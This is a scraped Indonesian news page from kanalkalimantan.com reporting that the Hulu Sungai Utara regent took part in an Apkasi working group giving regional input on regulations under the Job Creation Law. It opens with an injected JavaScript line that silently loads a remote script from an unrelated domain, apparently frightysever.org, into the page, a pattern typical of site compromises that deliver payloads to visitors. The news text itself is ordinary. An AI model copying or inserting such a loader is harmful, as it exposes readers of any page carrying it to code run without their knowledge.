(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Bupati HSU: Pemda Penting Ikut Menyusun Peraturan Turunan UU Cipta Kerja


KANALKALIMANTAN.COM, JAKARTA – Pemerintah daerah (Pemda) berkepentingan untuk memberikan saran dan masukan kepada pemerintah pusat terkait penyusunan 40 Rancangan Peraturan Pemerintah (RPP) dan 4 Rancangan Peraturan Presiden (Rperpres) sebagai turunan Undang- Undang Cipta Kerja.

Hal tersebut seperti dikemukakan Bupati HSU H Abdul Wahid saat menghadiri rapat kelompok kerja (Pokja) Asosiasi Pemerintah Kabupaten Seluruh Indonesia (Apkasi) di kantor Sekretariat Apkasi Gedung Sahid Sudirman Center, Jakarta, Kamis (26/11/2020)

Adapun kehadiran Bupati HDU didampingi Sekretaris Daerah HM Taufik, Kabag Pemerintahan dan Kabag Humpro HSU sehubungan dipilihnya Pemerintah Kabupaten HSU sebagai anggota pokja Apkasi terkait RPP dan Rpepres sebagai peraturan pelaksanaan UU Nomor 11 tahun 2020 tentang Cipta Kerja.

Lebih Lanjut, Bupati HSU H Abdul Wahid mengatakan bahwa saat ini pemerintah sedang menyusun 40 RPP dan 4 Rperpres sebagai turunan UU Nomor 11 tahun 2020 tentang Cipta Kerja.

 

Karena itu, sebagai wadah pemerintah kabupaten, Apkasi merasa berkepentingan untuk memberikan saran dan masukan kepada pemerintah pusat terkait dalam penyusunan 40 RPP dan 4 Rperpres itu.

Hal tersebut juga tidak terlepas dari permintaan pemerintah kepada Apkasi agar segera memberikan masukan terhadap penyusunan RPP dan Rperpres UU Cipta Kerja.

“Hari ini kami menghadiri rapat pokja Apkasi yang beranggotan 11 kabupaten untuk membahas RPP dan Rperpres UU Cipta Kerja,” ujar Bupati Wahid.

Lebih jauh, Wahid menyebut pemerintah daerah sebagai ujung tombak pemerintan pusat sudah seharusnya diberikan kesempatan untuk memberikan masukan terhadap penyusunan RPP dan Rperpres UU Cipta Kerja.

Adapun diantara RPP yang dibahas dalam rapat tersebut seperti rancangan peraturan pemerintah tentang pajak daerah dan retribusi daerah dalam rangka mendukung kemudahan berusaha dan layanan daerah, RPP penyelenggaraan perizinan berusaha di daerah dan RPP penyelenggaraan penataan ruang. (kanalkalimantan.com/dew)

Reporter : Dew
Editor : Bie

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.